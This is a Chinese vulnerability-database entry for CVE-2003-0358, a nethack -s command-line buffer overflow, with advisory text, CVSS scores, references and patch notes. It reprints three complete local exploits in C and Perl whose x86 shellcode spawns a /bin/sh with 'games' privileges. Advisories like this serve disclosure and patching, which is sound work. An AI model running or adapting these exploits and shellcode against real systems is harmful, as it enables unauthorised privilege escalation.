CVE-2003-0358
CVSS4.6
发布时间 :2003-06-09 00:00:00
修订时间 :2005-10-20 00:00:00
NMCOES    

[原文]Buffer overflow in (1) nethack 3.4.0 and earlier, and (2) falconseye 1.9.3 and earlier, which is based on nethack, allows local users to gain privileges via a long -s command line option.


[CNNVD]Nethack本地缓冲区溢出漏洞(CNNVD-200306-004)

        
        nethack是一款多种系统平台下的游戏程序。
        nethack对用户提交的参数缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以game用户权限在系统上执行任意指令。
        nethack对-s选项的值缺少正确边界检查,攻击者提交超长字符串作为此选项值,就可以触发缓冲区溢出,由于nethack在Redhat 8上以suid game属性安装,因此精心构建提交参数值可能以game用户权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0358
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0358
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200306-004
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/311172/2003-02-08/2003-02-14/0
(UNKNOWN)  BUGTRAQ  20030209 #!ICadv-02.09.03: nethack 3.4.0 local buffer overflow
http://www.debian.org/security/2003/dsa-350
(UNKNOWN)  DEBIAN  DSA-350
http://www.debian.org/security/2003/dsa-316
(UNKNOWN)  DEBIAN  DSA-316
http://nethack.sourceforge.net/v340/bugmore/secpatch.txt
(UNKNOWN)  CONFIRM  http://nethack.sourceforge.net/v340/bugmore/secpatch.txt
http://xforce.iss.net/xforce/xfdb/11283
(UNKNOWN)  XF  nethack-s-command-bo(11283)
http://www.securityfocus.com/bid/6806
(UNKNOWN)  BID  6806

- 漏洞信息

Nethack本地缓冲区溢出漏洞
中危 边界条件错误
2003-06-09 00:00:00 2005-10-20 00:00:00
本地  
        
        nethack是一款多种系统平台下的游戏程序。
        nethack对用户提交的参数缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以game用户权限在系统上执行任意指令。
        nethack对-s选项的值缺少正确边界检查,攻击者提交超长字符串作为此选项值,就可以触发缓冲区溢出,由于nethack在Redhat 8上以suid game属性安装,因此精心构建提交参数值可能以game用户权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 非官方补丁下载:
        
        http://people.FreeBSD.org/~roam/devel/nethack/topten.c.patch

        厂商补丁:
        Nethack
        -------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.nethack.org/

- 漏洞信息 (22233)

Nethack 3 Local Buffer Overflow Vulnerability (1) (EDBID:22233)
linux local
2003-02-10 Verified
0 tsao@efnet
N/A [点击下载]
source: http://www.securityfocus.com/bid/6806/info

By passing an overly large string when invoking nethack, it is possible to corrupt memory.

By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.

slashem, jnethack and falconseye are also prone to this vulnerability.

/*
        tsao@efnet #!IC@efnet 2k3
        thnx to aleph1 for execve shellcode &
        davidicke for setreuid() shellcode
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


char code[] =

"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long sp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {
     char *p;
     int i, off;

     p = malloc(sizeof(char) * atoi(argv[1]));
     memset(p,0x90,atoi(argv[1]));

     off = 220 - strlen(code);
     printf("shellcode at %d->%d\n",off,off+strlen(code));
     for(i=0;i<atoi(argv[1]);i++)
       p[i+off] = code[i];


     *(long *) &p[220] = sp() - atoi(argv[2]);
     printf("Using %x\n",sp() - atoi(argv[2]));

     execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
     perror("wtf");
}		

- 漏洞信息 (22234)

Nethack 3 Local Buffer Overflow Vulnerability (2) (EDBID:22234)
linux local
2003-02-10 Verified
0 bob@dtors.net
N/A [点击下载]
source: http://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.


/* DSR-nethack.c by bob@dtors.net
 * Vulnerbility Found by tsao.
 *
 * Local BufferOverflow that leads
 * to elevated privileges [games].
 *
 * Basic PoC code...nothing special.
 *[bob@dtors bob]$ ./DSR-nethack
 *
 *       DSR-nethack.c By bob.
 *   Local Exploit for Nethack 3.4.0
 *       DSR-[www.dtors.net]-DSR
 * 
 *   ret: 0xbffffd86
 *
 * Cannot find any current entries for 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.���
 * Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
 * Player types are: [-p role] [-r race]
 * sh-2.05b$ id -a
 * uid=12(games) gid=501(bob) groups=501(bob)
 * sh-2.05b$ 
 *
 * www.dtors.net // www.b0f.net
 */
#include <stdio.h>
char shellcode[]= /* shellcode by bob */
            
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int main ()
{
        unsigned long ret = 0xbffffd86;  //Redhat 8.0 i386
        char buf[224]; 
        char smeg[1024];
        char *ptr;      
  int i=0;   
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n"); 
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
memset(buf, 0x41, sizeof(buf)); 
        ptr = smeg; 
        for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90; 
        for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; 
        smeg[1024 - 1] = '\0'; //null byte
        memcpy(smeg,"EGG=",4); 
        putenv(smeg);
        buf[220] = (ret & 0x000000ff);            
        buf[221] = (ret & 0x0000ff00) >> 8;
        buf[222] = (ret & 0x00ff0000) >> 16;
        buf[223] = (ret & 0xff000000) >> 24;
        buf[224] = '\0';
        
        fprintf(stdout,"ret: 0x%08x\n",ret);
        
        execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s",  buf, 
NULL); //weeoooweeeeooowooo
        return 0;
}		

- 漏洞信息 (22235)

Nethack 3 Local Buffer Overflow Vulnerability (3) (EDBID:22235)
linux local
2003-02-10 Verified
0 tsao@efnet
N/A [点击下载]
source: http://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.

#!/usr/bin/perl -w
#
# tsao@efnet #!IC@efnet 2k3
# thnx to aleph1 for execve shellcode
# davidicke for setreuid() shellcode


$sc .= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xdb";
$sc .= "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e";
$sc .= "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12";
$sc .= "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62";
$sc .=  "\x69\x6e\x2f\x73\x68\x01";

for ($i = 0; $i < (224 - (length($sc)) - 4); $i++) {
    $buf .= "\x90";
}

$buf .= $sc;
$buf .= "\xd2\xf8\xff\xbf";

exec("/usr/games/lib/nethackdir/nethack -s '$buf'");		

- 漏洞信息

12019
nethack -s Option Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-02-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Nethack Local Buffer Overflow Vulnerability
Boundary Condition Error 6806
No Yes
2003-02-10 12:00:00 2009-07-11 08:06:00
Discovery of this vulnerabilty credited to tsao_4sh0@hushmail.com.

- 受影响的程序版本

Slashem Slashem 0.0.6 E4F8
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha
- Debian Linux 3.0
Slashem Slashem 0.0.5 E7
- Debian Linux 2.2 sparc
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 arm
- Debian Linux 2.2 alpha
- Debian Linux 2.2 68k
- Debian Linux 2.2
Nethack Nethack 3.4 .0
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha
- Debian Linux 3.0
Nethack Nethack 3.3 .0
- Debian Linux 2.2 sparc
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 IA-32
- Debian Linux 2.2 arm
- Debian Linux 2.2 alpha
- Debian Linux 2.2 68k
- Debian Linux 2.2
jnethack jnethack 1.1.5
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
jnethack jnethack 1.1.3
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
falconseye falconseye 0.9.3
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha
- Debian Linux 3.0
Nethack Nethack 3.4.1

- 不受影响的程序版本

Nethack Nethack 3.4.1

- 漏洞讨论

By passing an overly large string when invoking nethack, it is possible to corrupt memory.

By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.

slashem, jnethack and falconseye are also prone to this vulnerability.

- 漏洞利用

The following exploits were provided:

- 解决方案

Gentoo Linux have recommended that users who are running nethack upgrade to nethack-3.4.0-r6 as follows:

emerge sync
emerge -u nethack
emerge clean

Debian has released an advisory (DSA 316-1) that addresses this issue. Please see the attached Debian advisory for details on applying and obtaining fixes.

Debian has released an advisory (DSA 316-2) containing updated slashem packages. Please see the attached Debian advisory for details on applying and obtaining fixes.

Debian has released an advisory (DSA 350-1) containing updated falconseye packages. Please see the attached Debian advisory for details on applying and obtaining fixes.

Fixes available:


Slashem Slashem 0.0.5 E7

Slashem Slashem 0.0.6 E4F8

falconseye falconseye 0.9.3

jnethack jnethack 1.1.3

jnethack jnethack 1.1.5

Nethack Nethack 3.4 .0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站